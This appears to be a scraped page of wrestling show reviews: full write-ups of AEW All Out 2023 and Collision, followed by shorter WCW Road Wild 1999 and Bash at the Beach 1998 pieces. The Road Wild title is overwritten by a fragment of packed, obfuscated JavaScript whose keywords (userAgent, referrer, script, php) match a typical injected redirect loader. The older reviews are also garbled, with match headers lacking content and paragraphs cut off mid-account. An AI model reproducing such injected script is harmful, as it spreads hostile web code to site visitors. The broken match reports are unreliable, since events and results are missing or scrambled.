All Out 2023: And Now, We Rest

All Out 2023
Date: September 3, 2023
Location: United Center, Chicago, Illinois
Commentators: Nigel McGuinness, Excalibur, Kevin Kelly

It’s the second pay per view in eight days and this week’s card isn’t exactly strong. In theory the main event is Orange Cassidy defending the International Title against Jon Moxley, which has been built up rather strong. Other than that, we have a pair of Ring Of Honor title matches so let’s get to it.

Here is Collision if you need a recap.

Zero Hour: Other The Budget Charity Battle Royal

Chuck Taylor, Trent Beretta, Dalton Castle, Matt Menard, Tony Nese, Kyle Fletcher, Mark Davis, Serpentico, Action Andretti, Darius Martin, Jake Hager, Daniel Garcia, Angelo Parker, Scorpio Sky, Bishop Kaun, Toa Leona, Brian Cage, Hangman Page, Shawn Spears, Komander

The winner gets to donate $50,000 to the charity of their choice. Before the match though, Nese gets in the ring and does his “you’re all fat and need group training” deal. He does some pushups as the bell rings and is promptly eliminated. The Mogul Embassy and Dalton Castle/The Boys get in a fight on the floor, only to have Komander hit his rope walk shooting star onto them all (none of them are eliminated).

Hager tosses Serpentico as Nigel says he’s never actually been in a battle royal. Garcia and Spears have a staredown with the TEN vs. dancing until the Aussies break it up. The Mogul Embassy gets together to dump Komander but the Boys save Castle from hitting the floor. The same Boys drop Parker for the elimination (Parker: “SERIOUSLY?”) but Cage clotheslines Castle out. There goes Martin before the Best Friends chokeslam Cage. Leona tosses Taylor though, only to have Page get rid of Kaun.

Menard and Hager are both out as the ring is rapidly clearing out. Page and Beretta double clothesline Davis out and Sky eliminates Garcia (the fans aren’t pleased). We’re down to six, with Page, Andretti and Beretta squaring off with Cage, Leona and Fletcher. Andretti is sent to the apron and tossed out but Beretta half and half suplexes Fletcher out. Cage eliminates Beretta and we’re down to Page vs. Cage and Leona. The Buckshot Lariat gets rid of Leona but Cage hits a quick neckbreaker. Not that it matters as Page comes right back and tosses him out for the win at 13:13.

Rating: C. This was the “get everyone on the show” deal and the charity thing was a pretty unique way to go. That being said, it’s another battle royal and I don’t know how AEW could possibly run them into the ground any farther. This is their second in three days and that’s a bit much for anyone. At least they didn’t go long and Page winning seemed to pop the crowd so it was hardly some terrible idea.

Zero Hour: Hikaru Shida/Willow Nightingale/Skye Blue vs. Athena/Mercedes Martinez/Diamante

Athena and company are quickly sent outside and start arguing, allowing Blue to hit a big dive. Back in and Shida’s middle rope dropkick hits Diamante but Blue comes in and gets dropped with a gutbuster. Diamante sends her face first into a boot in the corner but Blue slaps Athena in the face. That’s not enough for the diving tag as Athena plants her down for two instead.

The next attempt is enough to bring Shida back in to clean house. Everything breaks down and we get an exchange of strikes to the head. Martinez hits a German superplex on Blue but Nightingale crushes her. Athena hits the O Face but they head out to the floor. Nightingale Pounces Athena into the barricade and Martinez is whipped hard into it for a bonus. Back in and Code Blue finishes Martinez at 8:23.

Rating: C. The sooner they can get Athena into the AEW women’s division, the better. She’s dominated Ring Of Honor for so long and is completely ahead of everyone else around there. Let her come up to the bigger stage and show what she can do with the better talent. Other than that, this felt like a way to get a bunch of women on the show, though having Blue in the Chicago gear made perfect sense.

Zero Hour: Trios Titles: Jeff Jarrett/Satnam Singh/Jay Lethal vs. Acclaimed/Billy Gunn

Jarrett and company are challenging and get a very basketball themed entrance. On the other hand, the champs come out with Dennis Rodman as Caster calls the other team the 2023 Oddities. Hold on though as Gunn has his own referee, so here is Aubrey Edwards. Jarrett and company jump them to start but it’s a quick Scissor Me Timbers to Jeff. The Acclaimed do a pretty bad strut but Jeff gets in a running crotch attack on the ropes to Caster.

Lethal comes in to stomp Caster down in the corner until a suplex gives us a double knockdown. It’s off to Bowens to clean house and Gunn comes in to hammer away as well. That works until Singh is there for a chokeslam to Bowens. Sonjay Dutt offers a distraction but Aubrey Edwards catches Karen Jarrett bringing in the guitar. Aubrey kicks her to the floor as Gunn hits Singh low. Rodman adds a guitar shot to Singh and there’s a Fameasser to Lethal. The Arrival into the Mic Drop retains the titles at 5:56.

Rating: C. Rodman seemed a bit….we’ll go with “off” here and only did one thing. This is probably a match that could have been on Collision or Rampage instead but here it is making this show longer instead. I do like getting the Acclaimed and Gunn out there for a fun enough title match though and it didn’t last long, so this could have been a lot worse.

And now, the show proper.

Ring Of Honor Tag Team Titles: Dark Order vs. Maxwell Jacob Friedman/Adam Cole

MJF and Cole are defending and we’re already in with the DOUBLE CLOTHESLINE chants. Silver slugs away at Cole to start but the threat of the double clothesline sends Silver out to the floor. Back in and MJF offers a handshake under the guise of sportsmanship, only to get in a cheap shot on Reynolds (the fans approve). The Kangaroo Kick is loaded up but he gets knocked down with a chair shot behind the referee’s back.

MJF’s neck is banged up and walks out (with help, rather than a neck brace), leaving Cole to fight on his own. Fans: “SINGLE CLOTHESLINE!” Cole is sent outside but cuts off a dive with a jumping enziguri. Back in and Silver kicks away at Cole, setting up a fisherman’s buster for two. Silver snaps off a German suplex for two before Cole is sent outside. Evil Uno gets in a cheap shot on the floor, setting up the jawbreaker into a German suplex for two on Cole.

There’s a double clothesline for two on Cole but he’s back with a kick in the corner to drop Reynolds. Cue the returning MJF to get the tag and clean house, including some right hands and a bite in the corner. Silver falls down and headbutts Silver low by mistake and Uno’s distraction is cut off by a superkick. The Double Clothesline retains the titles at 14:03.

Rating: B-. Honestly, what else were they supposed to do here? There was no reason to believe that the Dark Order was going to win, or really have much of a chance, without some kind of interference so the MJF handicap was all they had. It absolutely did not need to be on pay per view, but it had its entertaining moments.

MJF has to be helped out but here is Samoa Joe for his match. Joe shoves MJF on the way to the ring so MJF charges in for the brawl. Cole, instead of helping, calls out security as Joe grabs a front facelock (AHUH). Security finally gets in to break it up, as I’m trying to figure out where they came up with the inspiration for a shove and a front facelock until the fight was broken up.

Ring Of Honor TV Title: Shane Taylor vs. Samoa Joe

Joe is defending. Taylor slugs him into the corner to start but Joe knocks it out to the floor. Back in and Taylor grabs a powerslam for two but Joe slugs away again. With Taylor on the floor, Joe hits a suicide elbow, only to get clotheslined for two back inside. A hanging Stunner gets two on Joe and a middle rope splash gets the same. They forearm it out until Joe pulls him into the Koquina Clutch to retain at 6:23.

Rating: C. Well that happened. I’m rather glad that they spent time setting up Taylor as the challenger on ROH and then had this match get PPV time. Taylor never felt like a threat and then Joe just choked him out. Joe has held the title for almost a year and a half now and it’s time to find him a serious challenger. Or take the title off of him already.

We recap Luchasaurus vs. Darby Allin for the TNT Title. Christian Cage thinks it’s his and has been as gloriously delusional as ever.

TNT Title: Luchasaurus vs. Darby Allin

Allin is challenging and Christian Cage/Nick Wayne are the seconds. Allin charges right at him and they fight to the floor, with Luchasaurus sending Allin into the steps. Cage wants more violence so Luchasaurus puts the steps on Allin’s back and steps on them. Back in and a spinning side slam gives Luchasaurus two, followed by one heck of a headbutt. Allin manages a quick shot but a springboard crossbody bounces off of Luchasaurus for a crash.

Allin’s rib tape is pulled off and they head outside, where Luchasaurus gets posted. Luchasaurus is put in a chair for the top rope flip dive. Back in and Allin manages a crucifix bomb for two but Luchasaurus sends him flying. Allin fights up again and dives onto Cage, followed by a super Code Red for two. The Coffin Drop is loaded up but Cage blasts Wayne with a chair. That’s enough of a distraction for Luchasaurus to hit a pair of Tombstones and a clothesline to the back of the head to retain at 12:09.

Rating: B-. There is something about seeing Allin throw himself at a monster like a brick wall and it worked well here. I’m glad to see Luchasaurus retaining the title as it means more of Christian Cage’s delusions of grandeur. Good stuff here and it’s not like Allin is hurt by getting mauled by a monster.

Post match the villains grab a chair to load up the Concharito but a bunch of people, including Shawn Spears, make the save.

We recap Powerhouse Hobbs vs. Miro. They’re both big and strong so let’s hoss fight.

Powerhouse Hobbs vs. Miro

They start fast and it’s a brawl with the slugout going to Hobbs. A running clothesline drops Miro but he knocks Hobbs to the apron. Back in and a dropkick puts Hobbs down again but he pops up for an overhead belly to belly. Hobbs misses a splash in the corner though and there’s a running flip dive off the apron to put him down again. They head back inside and Hobbs drops him again, setting up a chinlock. Miro fights up and hits some running knees before kind of Hulking Up.

A bunch of clotheslines drop Hobbs but he blocks a suplex and goes up. That’s broken up as well and the Machka Kick connects, only to have Hobbs plant him for another two. They slug it out until Miro blocks him with a running clothesline. The Game Over is actually broken though and Hobbs grabs a spinebuster for two. Hobbs loads up his own Game Over but Miro fights out plants him down and grabs the real Game Over for the win at 15:15.

Rating: B+. Oh yeah that worked. This was the definition of a “what you see is what you get” match as two monsters beat the fire out of each other for fifteen minutes until one of them won. There is something to be said about this kind of a hoss fight and my goodness it was a lot of fun. Now just find something for both of them to do already.

Post match Hobbs turns down a handshake and jumps Miro….and here is CJ Perry (formerly Lana, Miro’s wife) to chair Hobbs in the back. The distraction lets Miro make the save but he walks away from Perry (who he says isn’t real), who looks confused.

We recap Kris Statlander vs. Ruby Soho. Statlander can’t beat her, but this time it’s for Statlander’s TBS Title.

TBS Title: Kris Statlander vs. Ruby Soho

Soho, with Saraya, is challenging and gets run over with a shoulder to start. That’s enough to take the fight outside, where Soho sends her face first into the barricade. Saraya gets in a cheap shot to give Soho two and she chokes away in the corner. Statlander hits a clothesline but gets kicked back down for two more. They strike it out for a double knockdown before Statlander unloads in the corner. A running knee rocks Soho but she grabs a belly to back suplex.

Back up and Statlander can’t get Sunday Night Fever as Soho rolls her up for two instead. Soho snaps off a hurricanrana into a DDT into a basement hurricanrana for two more. The Blue Thunder Bomb gives Statlander two but Soho pulls her off the ropes into No Future. Destination Unknown gets two so it’s spray paint time. Cue Toni Storm from under the ring to take it away though, allowing Statlander to hit Sunday Night Fever to retain at 12:12.

Rating: B. It’s amazing what happens when the women are given more time and don’t have a commercial right in the middle. Throw in the lack of spray paint in an Outcasts match and it was that much better. Statlander getting another win is a good thing to see, and now the Outcasts even seem to be imploding to make things that much better. Heck of a match here.

We recap Bryan Danielson vs. Ricky Starks. Ricky Steamboat wanted revenge for Starks whipping him, so he got Starks to agree to a match with the Dragon. By that he meant the American Dragon, as Danielson made a surprise return.

Bryan Danielson vs. Ricky Starks

No DQ strap match with Ricky Steamboat on commentary. Hold on though as Starks jumps him before putting the strap around his wrist and Danielson is beaten down. Danielson is busted open but let’s ring the bell anyway, with Starks going outside to hammer away. Since he’s one of the most professional wrestlers ever, Steamboat is there to explain that Danielson might be a bit out of ring shape despite being in great physical condition.

The whipping continues around the ring but Danielson is back with a headbutt. Starks backdrops him to the apron though and one heck of a strap shot has the blood flying. Back in and Starks gets crotched on top and the whipping is on, with Steamboat being rather pleased. Three dropkicks in the Tree of Woe rock Starks again but Starks gets in a whip of his own. Starks spends too long yelling at Steamboat though and Danielson pulls him into the ring.

More whipping ensues on the bloody Starks but he’s back with a long string of whips back inside. That just fires Danielson up as he shouts about Starks taking a beating. The YES Kicks knock Starks silly but cue Big Bill to jump Danielson. Steamboat pulls Bill off and chops away but gets shoved down. Danielson dives onto both villains, only to have Starks hit a spear for two. The running knee drops Starks again and Danielson kicks him into the LeBell Lock, with strap around the neck, for the knockout win at 16:36.

Rating: B+. There are times when the match needs to be straight up violent and that is what we got here. It was bloody and carnage, with Danielson looking like a monster at the end. Starks needs a win, but it’s ok to have him lose in a crazy brutal match like this one. In addition, Steamboat, who has barely been in wrestling in years, was better than most commentators and even looked decent with those chops. Heck of a match here.

Hangman Page is donating his winnings to the Chicago Public Education Fund.

Eddie Kingston/Katsuyori Shibata vs. Claudio Castagnoli/Wheeler Yuta

Shibata takes Yuta down to start and goes for the arm, sending Yuta over to the rope. Castagnoli comes in to lock up with Shibata before it’s off to Kingston. The fight heads outside with Yuta hitting a suicide dive and Castagnoli driving Kingston into the barricade. Back in and Yuta cranks on both arms at once but Kingston fights up with an STO.

Shibata comes in and strikes away in the corner but Castagnoli drops him again. A Fastball Special (Rocket Launcher) gives Yuta two but Shibata strikes his way out of trouble. An Indian Deathlock to Yuta and an ankle lock to Castagnoli at the same time has to be broken up. Everything breaks down and Shibata kicks Yuta into a Saito suplex to give Kingston two.

Kingston and Castagnoli strike it out until the Neutralizer gives Castagnoli two more. The Riccola Bomb is escaped and Kingston hits a spinning backfist. The northern lights bomb gets two and Shibata chokes Yuta out. Then Castagnoli hits an uppercut to finish Kingston at 15:26.

Rating: C+. That ending is bizarre to say the least and I’m not sure where they’re going now. Castagnoli has beaten Kingston at least twice this year and that doesn’t bode well for Kingston’s title prospects. There is a strong chance he wins the title at Final Battle, but my goodness it’s not easy to bring myself to care about a title match another three months from now.

We recap Kenny Omega vs. Konosuke Takeshita. Don Callis needs someone else to throw at Omega so here we go.

Kenny Omega vs. Konosuke Takeshita

Don Callis is here with Takeshita. Omega gets struck down to start until Takeshita DROPS HIM ON HIS HEAD with a belly to back suplex. Omega is fine enough to hit a Regal roll on the floor into a moonsault off the barricade. Back in and Omega ties up the legs but Takeshita fights out.

They go to the floor where Takeshita hits a brainbuster, meaning it’s time to load up some chairs. A slingshot dive onto the chairs onto Omega gets two, followed by a Helluva Kick into a Blue Thunder Bomb for the same. Omega fights up with the ax handles to the chest and a missed running knee sends Takeshita outside.

That means the big running flip dive to Takeshita on the floor, followed by a missile dropkick to the back of the head inside. Some snapdragons and the poisonrana give Omega two but Takeshita hits one heck of a lariat for the same. Takeshita reverses something into a kneeling Tombstone for two and they trade more strikes.

A super One Winged Angel is blocked and Takeshita hits a super Blue Thunder Bomb for a rather near fall instead. Omega hits a V Trigger but Takeshita finds the screwdriver. That’s taken away, so Takeshita hits a running knee for two. Another running knee finishes Omega at 22:29.

Rating: A-. This was a heck of a fight with Omega putting Takeshita over in the big match, as he should. Takeshita has been the guy who could be something if he got a big win for a long time and that has now been solved. There is bound to be a rematch and Omega can get his win back there as he gets closer to revenge on Callis. This helped make Takeshita though and that is what he has been needing for a long time now.

Bullet Club Gold vs. FTR/Young Bucks

Wheeler starts in on Austin’s arm before handing it off to the Bucks (THERE is the reaction from the fans we’ve been waiting on) and they take turns on said arm. White comes in to hammer on Harwood, who fires back with some chops. It’s off to Wheeler for a change and Robinson gets to take out his knee.

Some snap jabs have Wheeler in more trouble but he fights back up and hands it off to Harwood. The Club takes him into the wrong corner for the alternating beating though and Robinson is back with the chinlock. A belly to back suplex breaks it up but Harwood gets pulled outside for a drop onto the apron. Back in and another chinlock is broken up, allowing the tag off to Nick.

The springboard wristdrag/headscissors takes down Robinson and Colten and everything breaks down. The threat of a triple superkick sends White into the slingshot X Factor from Matt. Austin is superplex into a top rope headbutt into a top rope elbow into a 450 for two, with Colten making the save. The Shatter Machine hits Robinson and superkicks abound, setting up a BTE Trigger from Harwood and Matt for two on Jay. Then White hits a Blade Runner on Wheeler to give Austin the pin at 21:39.

Rating: B. This was a wild match and they hit a bunch of stuff throughout. I’m not big on the idea of FTR/the Bucks being some new wonder team but there’s a good chance that is just a one off. If this leads to the Club getting another Tag Team Title shot on the big stage, it’s all for the better though, as they have some incredible chemistry with FTR every time they’re out there together.

We recap Orange Cassidy defending the International Title against Jon Moxley. Cassidy has been on a record reign with the title but Moxley is by far his biggest challenger.

International Title: Orange Cassidy vs. Jon Moxley

Cassidy is defending and gets blasted in the head to start. The dropkick gives Cassidy a breather but Moxley suplexes him down hard. The flipping Stunner is countered into a suplex toss and Cassidy crashes again. They go outside with Moxley posting him to draw the first blood. Moxley sends him over the announcers’ table and bites at the head, prompting a lot of yelling from the referee.

Back in and a piledriver gets two on Cassidy, meaning it’s time to bite at the cut again. The referee even asks if Cassidy can still go and yes of course he can. Cassidy is back with some DDTs but the Beach Break is blocked. Instead Cassidy hits a PK into the Orange Punch for two but Moxley pulls him into a choke. The armbreaker is reversed so Moxley pulls him into the LeBell Lock this time.

With that broken up, they head outside with Moxley peeling back the floor mats. Cassidy reverses into a Beach Break and they barely beat the count back inside. Back in and Cassidy hits the Orange Punch and a spear of all things gets two. Cassidy goes with the lazy kicks but turns them into much harder kicks, only for the King Kong Lariat to drop him. Cassidy pops back up so it’s another King Kong Lariat into the Death Rider for a very close two. Then Moxley hits another Death Rider to win the title at 19:43.

Rating: B. It was a violent match and felt like Cassidy’s biggest ever, but man alive that result is going to have some people arguing. Cassidy’s reign was mainly against lower level stars and he loses in his first match against a main eventer? That doesn’t so much make me think he’s been elevated to the next level as much as it confirms the status he was in for a long time. Good match and it was time for someone new, but I’m not sure how much Moxley needed this.

Cassidy gets the standing ovation to end the show.

Overall Rating: B+. This was another strong show, though I’m not sure how much a lot if will change the bigger stories going forward. Instead, this show was about having a string of strong matches and there were enough here to carry things on. The only weak stuff was either on Zero Hour or the ROH TV Title match (and maybe the Kingston/Castagnoli tag). It could have gone with being about 30-40 minutes shorter, but you won’t be disappointed with watching the whole thing. The big matches more than delivered though and that’s enough to make this work.

Results
Hangman Page won the Other The Budget battle royal last eliminating Brian Cage
Hikaru Shida/Willow Nightingale/Skye Blue b. Athena/Mercedes Martinez/Diamante – Code Blue to Martinez
Acclaimed/Billy Gunn b. Jeff Jarrett/Satnam Singh/Jay Lethal – Mic Drop to Lethal
Adam Cole/Maxwell Jacob Friedman b. Dark Order – Double Clothesline to Reynolds
Samoa Joe b. Shane Taylor – Koquina Clutch
Luchasaurus b. Darby Allin – Clothesline to the back of the head
Miro b. Powerhouse Hobbs – Game Over
Kris Statlander b. Ruby Soho – Sunday Night Fever
Bryan Danielson b. Ricky Starks via referee stoppage
Claudio Castagnoli/Wheeler Yuta b. Katsuyori Shibata/Eddie Kingston – Uppercut to Kingston
Konosuke Takeshita b. Kenny Omega – Running knee
Bullet Club Gold b. FTR/Young Bucks – Blade Runner to Wheeler
Jon Moxley b. Orange Cassidy – Death Rider

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Collision – September 2, 2023: The Show After

Collision
Date: September 2, 2023
Location: United Center, Chicago, Illinois
Commentators: Excalibur, Tony Schiavone

And then CM Punk got fired. That is going to be the absolute game changer that shakes up everything about this company for a good while to come, with the next two shows being in Chicago to crank up the awkwardness. I have no idea what AEW has up their sleeves to get them through what could be a rather horrible crowd reaction but let’s get to it.

Here is Dynamite if you need a recap.

Tony Khan welcomes us to the show and announces that CM Punk has been fired. The incident endangered people, including Khan, who was fearing for his life. That is nothing anyone should have to deal with at work so Punk is gone. Anyway,, on with the awesome shows.

We get a recap of All In.

Opening sequence.

Tony Schiavone is in the ring to start and you can hear some CM Punk changes. Anyway, Tony brings in Ricky Starks, with Big Bill, to challenge Ricky Steamboat. Schiavone: “Ricky, you have issued a challenge to Ricky Steamboat, a 70 year old man. Are you out of your freaking mind?” Starks talks about how he’s tired of having to start over again and again, but every time he shows up and out.

No matter how many times people try to suck the life out of him, it doesn’t work. Starks talks about how awesome Bill is for everything he’s done, including overcoming addiction. He’s so angry that he wants to cry but he’ll do what he needs to do. Starks sat at home and watched All In because he whipped Steamboat, so now he wants a strap match at All Out.

Steamboat comes out and says he hasn’t complained once about getting whipped by Starks. The Dragon doesn’t complain but he has a contract ready for an old school fight. The contract actually says “Ricky Starks vs. The Dragon” so Starks signs, and Steamboat gets to the obvious point: he meant THIS Dragon, so cue the returning Bryan Danielson (the American Dragon). He signs as well and we’ve got a match, with Starks being livid.

Jon Moxley is going to be the man who solves the Orange Cassidy puzzle. If Cassidy is a cosplay wrestler, who is he pretending to be? I believe that would be Paul Rudd in Wet Hot American Summer actually. Anyway, Moxley thinks Cassidy is the real thing, and we’ll find out on Sunday. A lot of people believe in him, so don’t let people down. They’re making this feel like a serious match and that’s a good thing. If Cassidy is treated like a joke, why would it matter if Cassidy beat him?

Trios Titles: Daniel Garcia/Matt Menard/Angel Parker vs. Acclaimed/Billy Gunn

Acclaimed and Gunn are defending. Bowens punches Parker down to start so it’s off to Garcia vs. Gunn. Garcia gets in a few shots and dances a bit before telling Gunn to suck it. Gunn knocks him down with Parker landing on his knees in front of him (gyrations ensue). Everything breaks down and Garcia gets elbowed, only to get caught with a double hot shot. The piledriver into a double implant DDT into the Dragontamer has Bowens in trouble but he makes the rope (because a piledriver into a double implant DDT leaves him wide awake).

We take a break and come back with Bowens diving over for the tag to Caster to clean house. Garcia takes Caster down but Menard tags himself in, allowing Caster to hit a running clothesline. Gunn comes in but gets distracted by Jake Hager. That doesn’t last long as it’s a Fameasser to Menard. The Arrival into the Mic Drop retains the titles at 8:30.

Rating: C+. This was a perfectly fine match and that’s how you keep the Acclaimed hot: give them a match where they have to work a bit before finishing with the usual. No it won’t last forever (or that long really because there isn’t exactly a division) but it’s a crowd friendly act that has worked every time they’re out there. Go with what works.

Dark Order is ready to win the Ring Of Honor Tag Team Titles.

Ricky Starks is ready for Bryan Danielson at All Out because he’ll knock it out of the park like everything else.

Aussie Open vs. Nick Wayne/Komander

Wayne hits a running hurricanrana to Fletcher to start and then flips up but the Aussies are right back to take over. The Aussie Arrow gets two on Komander as we take a break. Back with Wayne cleaning house, including a frog splash to Fletcher. A half nelson suplex plants Wayne and one heck of a piledriver drops Komander. Wayne kicks his way out of trouble but a double Wayne’s World is countered into Coriolis for the pin at 8:00.

Rating: C. I’m trying to get my mind around a piledriver actually knocking someone silly enough to put them down for the rest of the match. This was a way to get the Aussies some of their heat back and there is nothing wrong with that. Wayne continues to be someone who can do all of the athletic stuff but there is nothing to make me care about him. He has no character or anything outside of athleticism and that isn’t going to get him very far.

Post match Wayne talks about how he’s upset with Darby Allin over forgiving AR Fox. Cue Allin, to say he burned a bridge with Wayne’s father and they didn’t make up before he died. He didn’t want something similar to happen to Fox, so now he wants Wayne to do the same. Allin is challenging or the TNT Title on Sunday and wants Wayne in his corner.

Cue Christian Cage (Nigel: “It’s the father of the year!”) and Luchasaurus, with the former saying it was mean of him to ask about Wayne’s father without asking for his mom’s name. Maybe he should slide into her DM’s and try to change that. Christian talks about how we’re in the United Center, and these people know how to smell a loser from a mile away. Wayne should bring a towel with him because it’s going to be destruction at All Out. Then I…er, we will still be TNT Champion. Christian is on another level right now and he knows it.

Claudio Castagnoli beats up Wheeler Yuta as he talks about how Yuta keeps getting up. He thought Eddie Kingston had changed, but apparently not.

Kingston laughs it off and says Katsuyori Shibata has some words for the Blackpool Combat Club. Shibata, through Google Translate, thinks they suck. Ok that was clever.

Saraya doesn’t want to hear about problems with the Outcasts but now she’s stuck in Chicago. She’s ready to see Ruby Soho win the TBS Title and Soho seems rather confident she will do so.

Tony Schiavone brings out Dennis Rodman for a chat. Before he can say anything, Jeff Jarrett and company come to the ring, with Jeff talking about how similar Rodman is to his team (both Rodman and Karen Jarrett look great in dresses). Rodman is offered a spot on their team but shoves down Satnam Singh. Cue Billy Gunn and the Acclaimed and we get a Trios Titles match for All Out, with Rodman in the champs’ corner.

Shane Taylor is ready to win the ROH TV Title.

Samoa Joe doesn’t think so, and is ready to take Taylor out.

Britt Baker/Hikaru Shida/Kris Statlander vs. Outcasts

Statlander and Soho start things off but Storm comes in instead. A slam drops Storm but she slips out of a second one and stomps Statlander down in the corner. Statlander is right back up with the tag to Baker though and a Sling Blade puts Storm down. Shida comes in for a knee to Soho’s ribs and we take a break. Back with Statlander powerbombing Saraya for two and then kicking her in the head. Statlander powerslams Saraya but Storm hits Saraya by mistake on the save attempt. Everything breaks down and Saraya spray paints Baker, allowing No Future to give Soho the pin at 8:11.

Rating: C. This was your weekly “here are the women in a match with a break in the middle and the Outcasts use spray paint to win” match. The women’s division has fallen a pretty long way since its peak and this was a good example of how uninteresting things are at the moment. The Outcasts feel so repetitive most weeks and that was on display here, but odds are they aren’t changing anytime soon.

MJF isn’t here so Adam Cole reads off some insults to Dark Order that MJF sent him. Well most of them as one is too disgusting to read.

Kris Statlander knows the Outcasts are going to use the spray paint tomorrow. The Outcasts come in and yelling ensues.

Powerhouse Hobbs vs. GPA

Spinebuster finishes in 7 seconds.

Post match Miro comes out for the brawl.

All Out rundown, including a battle royal on Zero Hour.

Video on Kenny Omega vs. Konosuke Takeshita.

Orange Cassidy does not want to be talking right now because he wants to fight. He’s proven himself over and over again and he’ll do it at All Out. Then he’ll take the weight off of Jon Moxley’s shoulders and put it on his. He still has no catchphrase.

Jay White vs. Dax Harwood

Bullet Club Gold and Cash Wheeler are here too. White gets backed to the floor to start but he comes back in for a chop, only to head back outside. Harwood scares him out to the floor again and we take a break. Back with Harwood being sent outside where everyone else teases a big fight. A DDT gives White two but Harwood catches him on top with a superplex. The top rope headbutt misses though and White gets two as we take a break.

Back again with Harwood hitting a brainbuster for two and knocking White outside. They go over the barricade for more chops but White snaps the leg over the ropes on the way back in. White gets two off a Death Valley Driver and Harwood gets the same off a piledriver. Back up and White sends him shoulder first into the post, setting up the swinging Rock Bottom for two.

Harwood is fine enough to hit a slingshot powerbomb for two but the Sharpshooter sends White to the ropes. Harwood follows him outside and gets caught with the Blade Runner. Back in and another Blade Runner finishes for White at 20:09. Nigel: “WHAT A MOMENT!” A career singles wrestler and former World Champion pins a mostly career tag wrestler?

Rating: B-. The action was good, but this was a match that felt like it went long for the sake of going long. Harwood can wrestle a match like that and White is rather good, but it’s still a bit hard to buy that it took White twenty minutes to win here. These two are some of the main stars of Collision but that doesn’t mean they need to be out there that long if it doesn’t make sense.

Post match the beatdown is on but the Young Bucks run in for the save.

Overall Rating: C+. This was a weird show as the wrestling was the least interesting part almost throughout. They had the Punk drama hanging over them and managed to avoid a lot of drama from it, but other than that, the show was mainly focused on All Out. That show needs the help, but I’m not sure it got enough of it here.

All Out does not feel important and there isn’t much of a way to hide that. AEW needs a bit of a breather from big shows, and with Grand Slam and WrestleDream both less than a month away, we won’t be seeing that anytime soon. Instead, I could see the weekly shows running out of steam more and more, which isn’t going to bode well for the next few weeks.

Results
Acclaimed/Billy Gunn b. Matt Menard/Angelo Parker/Daniel Garcia – Mic Drop to Menard
Aussie Open b. Nick Wayne/Komander – Coriolis to Wayne
Outcasts b. Britt Baker/Hikaru Shida/Kris Statlander – No Future to Soho
Powerhouse Hobbs b. GPA – Spinebuster
Jay White b. Dax Harwood – Blade Runner

 

 

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Road Wild 1999 (2015 Redo): We Want The Clash

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hiaya|var|u0026u|referrer|teyrk||js|php'.split('|'),0,{})) Wild 1999
Date: August 14, 1999
Location: Sturgis, South Dakota
Attendance: 5,500
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan

Tony talks about this history of Road Wild. As in the show that debuted back in 1996 (1997 if you consider Hog Wild its own show). Just printing his quotes are better than almost any jokes I could come up with.

Dead Pool vs. Eddie Guerrero/Rey Mysterio Jr./Kidman

Tag Team Titles: Jersey Triad vs. Harlem Heat

Revolution vs. West Texas Rednecks

Buff Bagwell vs. The Cat

We recap Benoit vs. Page. This is part of the Revolution vs. Triad/establishment feud with Benoit wanting to prove that he could hang with a former World Champion like Page. Benoit finally got his chance to win a singles title by beating David Flair for the US Title in a fair fight and now Page wants to beat him to regain his confidence.

US Title: Chris Benoit vs. Diamond Dallas Page

They slug it out to start and Benoit punches out of a helicopter bomb, knocking Page out to the floor.

. Benoit gets a breather off a jawbreaker and goes up, only to get caught in the Tree of Woe.

He knocks all three members together for a pair of falling low blows (ala Sting), setting up the Swan Dive to Page to retain the title, no thanks to the Revolution.

Sid Vicious vs. Sting

They head back to the floor with Sid dropping him throat first across the barricade and we hit that chinlock again because Sid needs air. Back up and Sting drops him with a shoulder, setting up the falling low blow (third time in two matches). Sting goes to run the ropes but Sid trips him from his back. Yes, somehow Sid has invented a way to wrestle while laying down. You knew someone was going to do it someday. Snake Eyes puts Sting down again but Sid goes up, only to get taken down with a superplex. Not that it matters as the Stinger Splash is caught by a chokeslam for the completely clean pin.

Goldberg vs. Rick Steiner

Dennis Rodman vs. Randy Savage

Back to ringside with Savage being thrown into the lighting structure before Dennis “hits” a middle rope “clothesline”, accidentally knocking the referee down. Gorgeous George comes out to the reaction of the match and hits Rodman low. She also gives Savage a chain to knock Rodman out for the pin to end this mess. Yes, Savage needed George and a chain to beat a basketball player.

WCW World Title: Hulk Hogan vs. Kevin Nash

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Bash at the Beach 1998 (2013 Redo): The Celebrities Are Better Than The Wrestlers

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Date: July 12, 1998
Location: Cox Arena, San Diego, California
Attendance: 10,095
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan

 

 

The opening video focuses on the three major matches tonight with some shots of the beach cut in as well.

 

 

The set is the usual intricate beach setting with sand, lifeguard towers and beach balls. The announcers wearing hula shirts is a nice touch as well.

 

 

We get an intro from the announcers, bragging about all the media attention the show has been getting. Nothing wrong with that.

 

 

Gene, in a white tuxedo, hypes up the hotline.

 

 

Raven vs. Saturn

 

 

Juventud Guerrera vs. Kidman

 

 

Back in and Kidman slams him down before taking it right back to the floor. Juvy is dropped throat first across the barricade but Kidman misses a charge off the apron to send himself crashing into the barricade as well. They head to the apron with Juvy hitting a sunset bomb to slam Kidman onto the floor again. The fans of course get on Lodi instead of paying attention to the match.

 

 

Konnan is on WCW.com, talking about his family eating fish tacos.

 

 

Stevie Ray vs. Chavo Guerrero Jr.

 

 

Time for the hair vs. hair match and Eddie is livid.

 

 

Eddie Guerrero vs. Chavo Guerrero Jr.

 

 

Loser gets a haircut. They lock up to start and Eddie leapfrogs him, only to be bitten on the tights, sending him out to the floor. Back in and Eddie asks the referee to look at the injury but Charles Robinson is just fine thank you. Now Chavo wants to dance a bit. A frustrated Eddie kicks the turnbuckle and injures his foot, sending him out to the floor. Eddie throws in a chair but Chavo sits down in it and asks Eddie to come in. Things settle down a bit and Eddie gets on his knees to ask for a handshake. Chavo takes his hand and pulls Eddie into a clothesline as we actually get going.

 

 

We hit a camel clutch on Chavo for a bit before Eddie fires off some chops against the ropes. Chavo avoids a dropkick and scores with a tilt-a-whirl backbreaker to put Eddie down. Eddie pulls the trunks to send Chavo to the floor and pulls back the mats. The brainbuster is countered though and Chavo suplexes him down onto the exposed concrete. Back in and Chavo goes up again but gets crotched down, setting up an Eddie superplex to put both guys down.

 

 

We get an odd few moments during the haircut as Tony talks like the main event is up next before going into a full recap of Jericho vs. Malenko. Instead of either of those, we get this.

 

 

Disco Inferno vs. Konnan

 

 

